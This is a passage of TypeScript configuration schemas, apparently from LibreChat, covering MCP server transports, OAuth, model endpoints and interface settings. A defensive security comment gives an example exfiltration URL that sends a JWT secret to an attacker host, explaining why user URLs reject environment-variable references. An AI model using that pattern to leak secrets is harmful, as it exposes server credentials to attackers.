z.string()]).optional(),\n /**\n * Whether this server requires OAuth authentication\n * If not specified, will be auto-detected during construction\n */\n requiresOAuth: z.boolean().optional(),\n /**\n * OAuth configuration for SSE and Streamable HTTP transports\n * - Optional: OAuth can be auto-discovered on 401 responses\n * - Pre-configured values will skip discovery steps\n */\n oauth: z\n .object({\n /** OAuth authorization endpoint (optional - can be auto-discovered) */\n authorization_url: z.string().url().optional(),\n /** OAuth token endpoint (optional - can be auto-discovered) */\n token_url: z.string().url().optional(),\n /** OAuth client ID (optional - can use dynamic registration) */\n client_id: z.string().optional(),\n /** OAuth client secret (optional - can use dynamic registration) */\n client_secret: z.string().optional(),\n /** OAuth scopes to request */\n scope: z.string().optional(),\n /** OAuth redirect URI (defaults to /api/mcp/{serverName}/oauth/callback) */\n redirect_uri: z.string().url().optional(),\n /** Token exchange method */\n token_exchange_method: z.nativeEnum(TokenExchangeMethodEnum).optional(),\n /** Supported grant types (defaults to ['authorization_code', 'refresh_token']) */\n grant_types_supported: z.array(z.string()).optional(),\n /** Supported token endpoint authentication methods (defaults to ['client_secret_basic', 'client_secret_post']) */\n token_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n /** Supported response types (defaults to ['code']) */\n response_types_supported: z.array(z.string()).optional(),\n /** Supported code challenge methods (defaults to ['S256', 'plain']) */\n code_challenge_methods_supported: z.array(z.string()).optional(),\n /** Skip code challenge validation and force S256 (useful for providers like AWS Cognito that support S256 but don't advertise it) */\n skip_code_challenge_check: z.boolean().optional(),\n /** OAuth revocation endpoint (optional - can be auto-discovered) */\n revocation_endpoint: z.string().url().optional(),\n /** OAuth revocation endpoint authentication methods supported (optional - can be auto-discovered) */\n revocation_endpoint_auth_methods_supported: z.array(z.string()).optional(),\n })\n .optional(),\n /** Custom headers to send with OAuth requests (registration, discovery, token exchange, etc.) */\n oauth_headers: z.record(z.string(), z.string()).optional(),\n /**\n * API Key authentication configuration for SSE and Streamable HTTP transports\n * - source: 'admin' means the key is provided by admin and shared by all users\n * - source: 'user' means each user provides their own key via customUserVars\n */\n apiKey: z\n .object({\n /** API key value (only for admin-provided mode, stored encrypted) */\n key: z.string().optional(),\n /** Whether key is provided by admin or each user */\n source: z.enum(['admin', 'user']),\n /** How to format the authorization header */\n authorization_type: z.enum(['basic', 'bearer', 'custom']),\n /** Custom header name when authorization_type is 'custom' */\n custom_header: z.string().optional(),\n })\n .optional(),\n customUserVars: z\n .record(\n z.string(),\n z.object({\n title: z.string(),\n description: z.string(),\n }),\n )\n .optional(),\n});\n\nexport const StdioOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('stdio').default('stdio'),\n /**\n * The executable to run to start the server.\n */\n command: z.string(),\n /**\n * Command line arguments to pass to the executable.\n */\n args: z.array(z.string()),\n /**\n * The environment to use when spawning the process.\n *\n * If not specified, the result of getDefaultEnvironment() will be used.\n * Environment variables can be referenced using ${VAR_NAME} syntax.\n */\n env: z\n .record(z.string(), z.string())\n .optional()\n .transform((env) => {\n if (!env) {\n return env;\n }\n\n const processedEnv: Record<string, string> = {};\n for (const [key, value] of Object.entries(env)) {\n processedEnv[key] = extractEnvVariable(value);\n }\n return processedEnv;\n }),\n /**\n * How to handle stderr of the child process. This matches the semantics of Node's `child_process.spawn`.\n *\n * @type {import('node:child_process').IOType | import('node:stream').Stream | number}\n *\n * The default is \"inherit\", meaning messages to stderr will be printed to the parent process's stderr.\n */\n stderr: z\n .union([z.enum(['pipe', 'ignore', 'inherit']), z.number().int().nonnegative()])\n .optional(),\n});\n\nexport const WebSocketOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('websocket').default('websocket'),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol === 'ws:' || protocol === 'wss:';\n },\n {\n message: 'WebSocket URL must start with ws:// or wss://',\n },\n ),\n});\n\nexport const SSEOptionsSchema = BaseOptionsSchema.extend({\n type: z.literal('sse').default('sse'),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'SSE URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const StreamableHTTPOptionsSchema = BaseOptionsSchema.extend({\n type: z.union([z.literal('streamable-http'), z.literal('http')]),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'Streamable HTTP URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const MCPOptionsSchema = z.union([\n StdioOptionsSchema,\n WebSocketOptionsSchema,\n SSEOptionsSchema,\n StreamableHTTPOptionsSchema,\n]);\n\nexport const MCPServersSchema = z.record(z.string(), MCPOptionsSchema);\n\nexport type MCPOptions = z.infer<typeof MCPOptionsSchema>;\n\n/**\n * Helper to omit server-managed fields that should not come from UI\n */\nconst omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T) =>\n schema.omit({\n startup: true,\n timeout: true,\n sseReadTimeout: true,\n initTimeout: true,\n chatMenu: true,\n serverInstructions: true,\n requiresOAuth: true,\n customUserVars: true,\n oauth_headers: true,\n });\n\nconst envVarPattern = /\\$\\{[^}]+\\}/;\nconst isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);\nconst isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);\n\n/**\n * Builds a URL schema for user input that rejects ${VAR} env variable patterns\n * and validates protocol constraints without resolving environment variables.\n */\nconst userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>\n z\n .string()\n .refine((val) => !envVarPattern.test(val), {\n message: 'Environment variable references are not allowed in URLs',\n })\n .pipe(z.string().url())\n .refine(protocolCheck, { message });\n\n/**\n * MCP Server configuration that comes from UI/API input only.\n * Omits server-managed fields like startup, timeout, customUserVars, etc.\n * Allows: title, description, url, iconPath, oauth (user credentials)\n *\n * SECURITY: Stdio transport is intentionally excluded from user input.\n * Stdio allows arbitrary command execution and should only be configured\n * by administrators via the YAML config file (librechat.yaml).\n * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.\n *\n * SECURITY: URL fields use userUrlSchema instead of the admin schemas'\n * extractEnvVariable transform to prevent env variable exfiltration\n * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).\n * Protocol checks use positive allowlists (http(s) / ws(s)) to block\n * file://, ftp://, javascript:, and other non-network schemes.\n */\nexport const MCPServerUserInputSchema = z.union([\n omitServerManagedFields(WebSocketOptionsSchema).extend({\n url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),\n }),\n omitServerManagedFields(SSEOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),\n }),\n omitServerManagedFields(StreamableHTTPOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),\n }),\n]);\n\nexport type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;\n","import { z } from 'zod';\nimport type { ZodError } from 'zod';\nimport type { TEndpointsConfig, TModelsConfig, TConfig } from './types';\nimport { EModelEndpoint, eModelEndpointSchema, isAgentsEndpoint } from './schemas';\nimport { ComponentTypes, SettingTypes, OptionTypes } from './generate';\nimport { specsConfigSchema, TSpecsConfig } from './models';\nimport { fileConfigSchema } from './file-config';\nimport { apiBaseUrl } from './api-endpoints';\nimport { FileSources } from './types/files';\nimport { MCPServersSchema } from './mcp';\n\nexport const defaultSocialLogins = ['google', 'facebook', 'openid', 'github', 'discord', 'saml'];\n\nexport const defaultRetrievalModels = [\n 'gpt-4o',\n 'o1-preview-2024-09-12',\n 'o1-preview',\n 'o1-mini-2024-09-12',\n 'o1-mini',\n 'o3-mini',\n 'chatgpt-4o-latest',\n 'gpt-4o-2024-05-13',\n 'gpt-4o-2024-08-06',\n 'gpt-4o-mini',\n 'gpt-4o-mini-2024-07-18',\n 'gpt-4-turbo-preview',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-0125-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-0125',\n 'gpt-4-1106',\n];\n\nexport const excludedKeys = new Set([\n 'conversationId',\n 'title',\n 'iconURL',\n 'greeting',\n 'endpoint',\n 'endpointType',\n 'createdAt',\n 'updatedAt',\n 'expiredAt',\n 'messages',\n 'isArchived',\n 'tags',\n 'user',\n '__v',\n '_id',\n 'tools',\n 'model',\n 'files',\n 'spec',\n 'disableParams',\n]);\n\nexport enum SettingsViews {\n default = 'default',\n advanced = 'advanced',\n}\n\nexport const fileSourceSchema = z.nativeEnum(FileSources);\n\nexport const fileStrategiesSchema = z\n .object({\n default: fileSourceSchema.optional(),\n avatar: fileSourceSchema.optional(),\n image: fileSourceSchema.optional(),\n document: fileSourceSchema.optional(),\n })\n .optional();\n\n// Helper type to extract the shape of the Zod object schema\ntype SchemaShape<T> = T extends z.ZodObject<infer U> ? U : never;\n\n// Helper type to determine the default value or undefined based on whether the field has a default\ntype DefaultValue<T> =\n T extends z.ZodDefault<z.ZodTypeAny> ? ReturnType<T['_def']['defaultValue']> : undefined;\n\n// Extract default values or undefined from the schema shape\ntype ExtractDefaults<T> = {\n [P in keyof T]: DefaultValue<T[P]>;\n};\n\nexport type SchemaDefaults<T> = ExtractDefaults<SchemaShape<T>>;\n\nexport type TConfigDefaults = SchemaDefaults<typeof configSchema>;\n\nexport function getSchemaDefaults<Schema extends z.AnyZodObject>(\n schema: Schema,\n): ExtractDefaults<SchemaShape<Schema>> {\n const shape = schema.shape;\n const entries = Object.entries(shape).map(([key, value]) => {\n if (value instanceof z.ZodDefault) {\n // Extract default value if it exists\n return [key, value._def.defaultValue()];\n }\n return [key, undefined];\n });\n\n // Create the object with the right types\n return Object.fromEntries(entries) as ExtractDefaults<SchemaShape<Schema>>;\n}\n\nexport const modelConfigSchema = z\n .object({\n deploymentName: z.string().optional(),\n version: z.string().optional(),\n assistants: z.boolean().optional(),\n })\n .or(z.boolean());\n\nexport type TAzureModelConfig = z.infer<typeof modelConfigSchema>;\n\nexport const azureBaseSchema = z.object({\n apiKey: z.string(),\n serverless: z.boolean().optional(),\n instanceName: z.string().optional(),\n deploymentName: z.string().optional(),\n assistants: z.boolean().optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n version: z.string().optional(),\n baseURL: z.string().optional(),\n additionalHeaders: z.record(z.any()).optional(),\n});\n\nexport type TAzureBaseSchema = z.infer<typeof azureBaseSchema>;\n\nexport const azureGroupSchema = z\n .object({\n group: z.string(),\n models: z.record(z.string(), modelConfigSchema),\n })\n .required()\n .and(azureBaseSchema);\n\nexport const azureGroupConfigsSchema = z.array(azureGroupSchema).min(1);\nexport type TAzureGroup = z.infer<typeof azureGroupSchema>;\nexport type TAzureGroups = z.infer<typeof azureGroupConfigsSchema>;\nexport type TAzureModelMapSchema = {\n // deploymentName?: string;\n // version?: string;\n group: string;\n};\n\nexport type TAzureModelGroupMap = Record<string, TAzureModelMapSchema | undefined>;\nexport type TAzureGroupMap = Record<\n string,\n (TAzureBaseSchema & { models: Record<string, TAzureModelConfig | undefined> }) | undefined\n>;\n\nexport type TValidatedAzureConfig = {\n modelNames: string[];\n groupMap: TAzureGroupMap;\n assistantModels?: string[];\n assistantGroups?: string[];\n modelGroupMap: TAzureModelGroupMap;\n};\n\nexport type TAzureConfigValidationResult = TValidatedAzureConfig & {\n isValid: boolean;\n errors: (ZodError | string)[];\n};\n\nexport enum Capabilities {\n code_interpreter = 'code_interpreter',\n image_vision = 'image_vision',\n retrieval = 'retrieval',\n actions = 'actions',\n tools = 'tools',\n}\n\nexport enum AgentCapabilities {\n hide_sequential_outputs = 'hide_sequential_outputs',\n programmatic_tools = 'programmatic_tools',\n end_after_tools = 'end_after_tools',\n deferred_tools = 'deferred_tools',\n execute_code = 'execute_code',\n file_search = 'file_search',\n web_search = 'web_search',\n artifacts = 'artifacts',\n actions = 'actions',\n context = 'context',\n tools = 'tools',\n chain = 'chain',\n ocr = 'ocr',\n}\n\nexport const defaultAssistantsVersion = {\n [EModelEndpoint.assistants]: 2,\n [EModelEndpoint.azureAssistants]: 1,\n};\n\nexport const baseEndpointSchema = z.object({\n streamRate: z.number().optional(),\n baseURL: z.string().optional(),\n titlePrompt: z.string().optional(),\n titleModel: z.string().optional(),\n titleConvo: z.boolean().optional(),\n titleMethod: z\n .union([z.literal('completion'), z.literal('functions'), z.literal('structured')])\n .optional(),\n titleEndpoint: z.string().optional(),\n titlePromptTemplate: z.string().optional(),\n /** Maximum characters allowed in a single tool result before truncation. */\n maxToolResultChars: z.number().positive().optional(),\n});\n\nexport type TBaseEndpoint = z.infer<typeof baseEndpointSchema>;\n\nexport const bedrockEndpointSchema = baseEndpointSchema.merge(\n z.object({\n availableRegions: z.array(z.string()).optional(),\n models: z.array(z.string()).optional(),\n inferenceProfiles: z.record(z.string(), z.string()).optional(),\n }),\n);\n\nconst modelItemSchema = z.union([\n z.string(),\n z.object({\n name: z.string(),\n description: z.string().optional(),\n }),\n]);\n\nexport const assistantEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /* assistants specific */\n disableBuilder: z.boolean().optional(),\n pollIntervalMs: z.number().optional(),\n timeoutMs: z.number().optional(),\n version: z.union([z.string(), z.number()]).default(2),\n supportedIds: z.array(z.string()).min(1).optional(),\n excludedIds: z.array(z.string()).min(1).optional(),\n privateAssistants: z.boolean().optional(),\n retrievalModels: z.array(z.string()).min(1).optional().default(defaultRetrievalModels),\n capabilities: z\n .array(z.nativeEnum(Capabilities))\n .optional()\n .default([\n Capabilities.code_interpreter,\n Capabilities.image_vision,\n Capabilities.retrieval,\n Capabilities.actions,\n Capabilities.tools,\n ]),\n /* general */\n apiKey: z.string().optional(),\n models: z\n .object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n })\n .optional(),\n headers: z.record(z.any()).optional(),\n }),\n);\n\nexport type TAssistantEndpoint = z.infer<typeof assistantEndpointSchema>;\n\nexport const defaultAgentCapabilities = [\n // Commented as requires latest Code Interpreter API\n // AgentCapabilities.programmatic_tools,\n AgentCapabilities.deferred_tools,\n AgentCapabilities.execute_code,\n AgentCapabilities.file_search,\n AgentCapabilities.web_search,\n AgentCapabilities.artifacts,\n AgentCapabilities.actions,\n AgentCapabilities.context,\n AgentCapabilities.tools,\n AgentCapabilities.chain,\n AgentCapabilities.ocr,\n];\n\nexport const agentsEndpointSchema = baseEndpointSchema\n .omit({ baseURL: true })\n .merge(\n z.object({\n /* agents specific */\n recursionLimit: z.number().optional(),\n disableBuilder: z.boolean().optional().default(false),\n maxRecursionLimit: z.number().optional(),\n maxCitations: z.number().min(1).max(50).optional().default(30),\n maxCitationsPerFile: z.number().min(1).max(10).optional().default(7),\n minRelevanceScore: z.number().min(0.0).max(1.0).optional().default(0.45),\n allowedProviders: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n capabilities: z\n .array(z.nativeEnum(AgentCapabilities))\n .optional()\n .default(defaultAgentCapabilities),\n }),\n )\n .default({\n disableBuilder: false,\n capabilities: defaultAgentCapabilities,\n maxCitations: 30,\n maxCitationsPerFile: 7,\n minRelevanceScore: 0.45,\n });\n\nexport type TAgentsEndpoint = z.infer<typeof agentsEndpointSchema>;\n\nexport const endpointSchema = baseEndpointSchema.merge(\n z.object({\n name: z.string().refine((value) => !eModelEndpointSchema.safeParse(value).success, {\n message: `Value cannot be one of the default endpoint (EModelEndpoint) values: ${Object.values(\n EModelEndpoint,\n ).join(', ')}`,\n }),\n apiKey: z.string(),\n baseURL: z.string(),\n models: z.object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n }),\n iconURL: z.string().optional(),\n modelDisplayLabel: z.string().optional(),\n headers: z.record(z.any()).optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n customParams: z\n .object({\n defaultParamsEndpoint: z.string().default('custom'),\n paramDefinitions: z\n .array(\n z.object({\n key: z.string(),\n description: z.string().optional(),\n type: z.nativeEnum(SettingTypes).optional(),\n default: z\n .union([z.number(), z.boolean(), z.string(), z.array(z.string())])\n .optional(),\n showLabel: z.boolean().optional(),\n showDefault: z.boolean().optional(),\n options: z.array(z.string()).optional(),\n range: z\n .object({\n min: z.number(),\n max: z.number(),\n step: z.number().optional(),\n })\n .optional(),\n enumMappings: z.record(z.union([z.number(), z.boolean(), z.string()])).optional(),\n component: z.nativeEnum(ComponentTypes).optional(),\n optionType: z.nativeEnum(OptionTypes).optional(),\n columnSpan: z.number().optional(),\n columns: z.number().min(1).max(4).optional(),\n label: z.string().optional(),\n placeholder: z.string().optional(),\n labelCode: z.boolean().optional(),\n placeholderCode: z.boolean().optional(),\n descriptionCode: z.boolean().optional(),\n minText: z.number().optional(),\n maxText: z.number().optional(),\n minTags: z.number().min(0).optional(),\n maxTags: z.number().min(0).optional(),\n includeInput: z.boolean().optional(),\n descriptionSide: z.enum(['top', 'right', 'bottom', 'left']).optional(),\n searchPlaceholder: z.string().optional(),\n selectPlaceholder: z.string().optional(),\n searchPlaceholderCode: z.boolean().optional(),\n selectPlaceholderCode: z.boolean().optional(),\n }),\n )\n .optional(),\n })\n .strict()\n .optional(),\n directEndpoint: z.boolean().optional(),\n titleMessageRole: z.string().optional(),\n }),\n);\n\nexport type TEndpoint = z.infer<typeof endpointSchema>;\n\nexport const azureEndpointSchema = z\n .object({\n groups: azureGroupConfigsSchema,\n assistants: z.boolean().optional(),\n })\n .and(\n endpointSchema\n .pick({\n streamRate: true,\n titleConvo: true,\n titleMethod: true,\n titleModel: true,\n titlePrompt: true,\n titlePromptTemplate: true,\n })\n .partial(),\n );\n\nexport type TAzureConfig = Omit<z.infer<typeof azureEndpointSchema>, 'groups'> &\n TAzureConfigValidationResult;\n\n/**\n * Vertex AI model configuration - similar to Azure model config\n * Allows specifying deployment name for each model\n */\nexport const vertexModelConfigSchema = z\n .object({\n /** The actual model ID/deployment name used by Vertex AI API */\n deploymentName: z.string().optional(),\n })\n .or(z.boolean());\n\nexport type TVertexModelConfig = z.infer<typeof vertexModelConfigSchema>;\n\n/**\n * Vertex AI configuration schema for Anthropic models served via Google Cloud Vertex AI.\n * Similar to Azure configuration, this allows running Anthropic models through Google Cloud.\n */\nexport const vertexAISchema = z.object({\n /** Enable Vertex AI mode for Anthropic (defaults to true when vertex config is present) */\n enabled: z.boolean().optional(),\n /** Google Cloud Project ID (optional - auto-detected from service key file if not provided) */\n projectId: z.string().optional(),\n /** Vertex AI region (e.g., 'us-east5', 'europe-west1') */\n region: z.string().default('us-east5'),\n /** Optional: Path to service account key file */\n serviceKeyFile: z.string().optional(),\n /** Optional: Default deployment name for all models (can be overridden per model) */\n deploymentName: z.string().optional(),\n /** Optional: Available models - can be string array or object with deploymentName mapping */\n models: z.union([z.array(z.string()), z.record(z.string(), vertexModelConfigSchema)]).optional(),\n});\n\nexport type TVertexAISchema = z.infer<typeof vertexAISchema>;\n\nexport type TVertexModelMap = Record<string, string>;\n\n/**\n * Validated Vertex AI configuration result\n */\nexport type TVertexAIConfig = TVertexAISchema & {\n isValid: boolean;\n errors: string[];\n modelNames?: string[];\n modelDeploymentMap?: TVertexModelMap;\n};\n\n/**\n * Anthropic endpoint schema with optional Vertex AI configuration.\n * Extends baseEndpointSchema with Vertex AI support.\n */\nexport const anthropicEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /** Vertex AI configuration for running Anthropic models on Google Cloud */\n vertex: vertexAISchema.optional(),\n /** Optional: List of available models */\n models: z.array(z.string()).optional(),\n }),\n);\n\nexport type TAnthropicEndpoint = z.infer<typeof anthropicEndpointSchema>;\n\nconst ttsOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsElevenLabsSchema = z.object({\n url: z.string().optional(),\n websocketUrl: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n voice_settings: z\n .object({\n similarity_boost: z.number().optional(),\n stability: z.number().optional(),\n style: z.number().optional(),\n use_speaker_boost: z.boolean().optional(),\n })\n .optional(),\n pronunciation_dictionary_locators: z.array(z.string()).optional(),\n});\n\nconst ttsLocalaiSchema = z.object({\n url: z.string(),\n apiKey: z.string().optional(),\n voices: z.array(z.string()),\n backend: z.string(),\n});\n\nconst ttsSchema = z.object({\n openai: ttsOpenaiSchema.optional(),\n azureOpenAI: ttsAzureOpenAISchema.optional(),\n elevenlabs: ttsElevenLabsSchema.optional(),\n localai: ttsLocalaiSchema.optional(),\n});\n\nconst sttOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n});\n\nconst sttAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n});\n\nconst sttSchema = z.object({\n openai: sttOpenaiSchema.optional(),\n azureOpenAI: sttAzureOpenAISchema.optional(),\n});\n\nconst speechTab = z\n .object({\n conversationMode: z.boolean().optional(),\n advancedMode: z.boolean().optional(),\n speechToText: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineSTT: z.string().optional(),\n languageSTT: z.string().optional(),\n autoTranscribeAudio: z.boolean().optional(),\n decibelValue: z.number().optional(),\n autoSendText: z.number().optional(),\n }),\n )\n .optional(),\n textToSpeech: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineTTS: z.string().optional(),\n voice: z.string().optional(),\n languageTTS: z.string().optional(),\n automaticPlayback: z.boolean().optional(),\n playbackRate: z.number().optional(),\n cacheTTS: z.boolean().optional(),\n }),\n )\n .optional(),\n })\n .optional();\n\nexport enum RateLimitPrefix {\n FILE_UPLOAD = 'FILE_UPLOAD',\n IMPORT = 'IMPORT',\n TTS = 'TTS',\n STT = 'STT',\n}\n\nexport const rateLimitSchema = z.object({\n fileUploads: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n conversationsImport: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n tts: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n stt: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n});\n\nexport enum EImageOutputType {\n PNG = 'png',\n WEBP = 'webp',\n JPEG = 'jpeg',\n}\n\nconst termsOfServiceSchema = z.object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n modalAcceptance: z.boolean().optional(),\n modalTitle: z.string().optional(),\n modalContent: z.string().or(z.array(z.string())).optional(),\n});\n\nexport type TTermsOfService = z.infer<typeof termsOfServiceSchema>;\n\n// Schema for localized string (either simple string or language-keyed object)\nconst localizedStringSchema = z.union([z.string(), z.record(z.string())]);\nexport type LocalizedString = z.infer<typeof localizedStringSchema>;\n\nconst mcpServersSchema = z\n .object({\n placeholder: z.string().optional(),\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n trustCheckbox: z\n .object({\n label: localizedStringSchema.optional(),\n subLabel: localizedStringSchema.optional(),\n })\n .optional(),\n })\n .optional();\n\nexport type TMcpServersConfig = z.infer<typeof mcpServersSchema>;\n\nexport const interfaceSchema = z\n .object({\n privacyPolicy: z\n .object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n })\n .optional(),\n termsOfService: termsOfServiceSchema.optional(),\n customWelcome: z.string().optional(),\n mcpServers: mcpServersSchema.optional(),\n endpointsMenu: z.boolean().optional(),\n modelSelect: z.boolean().optional(),\n parameters: z.boolean().optional(),\n sidePanel: z.boolean().optional(),\n multiConvo: z.boolean().optional(),\n bookmarks: z.boolean().optional(),\n memories: z.boolean().optional(),\n presets: z.boolean().optional(),\n prompts: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n agents: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n temporaryChat: z.boolean().optional(),\n temporaryChatRetention: z.number().min(1).max(8760).optional(),\n runCode: z.boolean().optional(),\n webSearch: z.boolean().optional(),\n peoplePicker: z\n .object({\n users: z.boolean().optional(),\n groups: z.boolean().optional(),\n roles: z.boolean().optional(),\n })\n .optional(),\n marketplace: z\n .object({\n use: z.boolean().optional(),\n })\n .optional(),\n fileSearch: z.boolean().optional(),\n fileCitations: z.boolean().optional(),\n remoteAgents: z\n .object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n })\n .optional(),\n })\n .default({\n endpointsMenu: true,\n modelSelect: true,\n parameters: true,\n sidePanel: true,\n presets: true,\n multiConvo: true,\n bookmarks: true,\n memories: true,\n prompts: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n agents: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n temporaryChat: true,\n runCode: true,\n webSearch: true,\n peoplePicker: {\n users: true,\n groups: true,\n roles: true,\n },\n marketplace: {\n use: false,\n },\n mcpServers: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n fileSearch: true,\n fileCitations: true,\n remoteAgents: {\n use: false,\n create: false,\n share: false,\n public: false,\n },\n });\n\nexport type TInterfaceConfig = z.infer<typeof interfaceSchema>;\nexport type TBalanceConfig = z.infer<typeof balanceSchema>;\nexport type TTransactionsConfig = z.infer<typeof transactionsSchema>;\n\nexport const turnstileOptionsSchema = z\n .object({\n language: z.string().default('auto'),\n size: z.enum(['normal', 'compact', 'flexible', 'invisible']).default('normal'),\n })\n .default({\n language: 'auto',\n size: 'normal',\n });\n\nexport const turnstileSchema = z.object({\n siteKey: z.string(),\n options: turnstileOptionsSchema.optional(),\n});\n\nexport type TTurnstileConfig = z.infer<typeof turnstileSchema>;\n\nexport type TStartupConfig = {\n appTitle: string;\n socialLogins?: string[];\n interface?: TInterfaceConfig;\n turnstile?: TTurnstileConfig;\n balance?: TBalanceConfig;\n transactions?: TTransactionsConfig;\n discordLoginEnabled: boolean;\n facebookLoginEnabled: boolean;\n githubLoginEnabled: boolean;\n googleLoginEnabled: boolean;\n openidLoginEnabled: boolean;\n appleLoginEnabled: boolean;\n samlLoginEnabled: boolean;\n openidLabel: string;\n openidImageUrl: string;\n openidAutoRedirect: boolean;\n samlLabel: string;\n samlImageUrl: string;\n /** LDAP Auth Configuration */\n ldap?: {\n /** LDAP enabled */\n enabled: boolean;\n /** Whether LDAP uses username vs. email */\n username?: boolean;\n };\n serverDomain: string;\n emailLoginEnabled: boolean;\n registrationEnabled: boolean;\n socialLoginEnabled: boolean;\n passwordResetEnabled: boolean;\n emailEnabled: boolean;\n showBirthdayIcon: boolean;\n helpAndFaqURL: string;\n customFooter?: string;\n modelSpecs?: TSpecsConfig;\n modelDescriptions?: Record<string, Record<string, string>>;\n sharedLinksEnabled: boolean;\n publicSharedLinksEnabled: boolean;\n analyticsGtmId?: string;\n bundlerURL?: string;\n staticBundlerURL?: string;\n sharePointFilePickerEnabled?: boolean;\n sharePointBaseUrl?: string;\n sharePointPickerGraphScope?: string;\n sharePointPickerSharePointScope?: string;\n openidReuseTokens?: boolean;\n minPasswordLength?: number;\n webSearch?: {\n searchProvider?: SearchProviders;\n scraperProvider?: ScraperProviders;\n rerankerType?: RerankerTypes;\n };\n mcpServers?: Record<\n string,\n {\n customUserVars: Record<\n string,\n {\n title: string;\n description: string;\n }\n >;\n chatMenu?: boolean;\n isOAuth?: boolean;\n startup?: boolean;\n iconPath?: string;\n }\n >;\n mcpPlaceholder?: string;\n conversationImportMaxFileSize?: number;\n};\n\nexport enum OCRStrategy {\n MISTRAL_OCR = 'mistral_ocr',\n CUSTOM_OCR = 'custom_ocr',\n AZURE_MISTRAL_OCR = 'azure_mistral_ocr',\n VERTEXAI_MISTRAL_OCR = 'vertexai_mistral_ocr',\n DOCUMENT_PARSER = 'document_parser',\n}\n\nexport enum SearchCategories {\n PROVIDERS = 'providers',\n SCRAPERS = 'scrapers',\n RERANKERS = 'rerankers',\n}\n\nexport enum SearchProviders {\n SERPER = 'serper',\n SEARXNG = 'searxng',\n}\n\nexport enum ScraperProviders {\n FIRECRAWL = 'firecrawl',\n SERPER = 'serper',\n}\n\nexport enum RerankerTypes {\n JINA = 'jina',\n COHERE = 'cohere',\n}\n\nexport enum SafeSearchTypes {\n OFF = 0,\n MODERATE = 1,\n STRICT = 2,\n}\n\nexport const webSearchSchema = z.object({\n serperApiKey: z.string().optional().default('${SERPER_API_KEY}'),\n 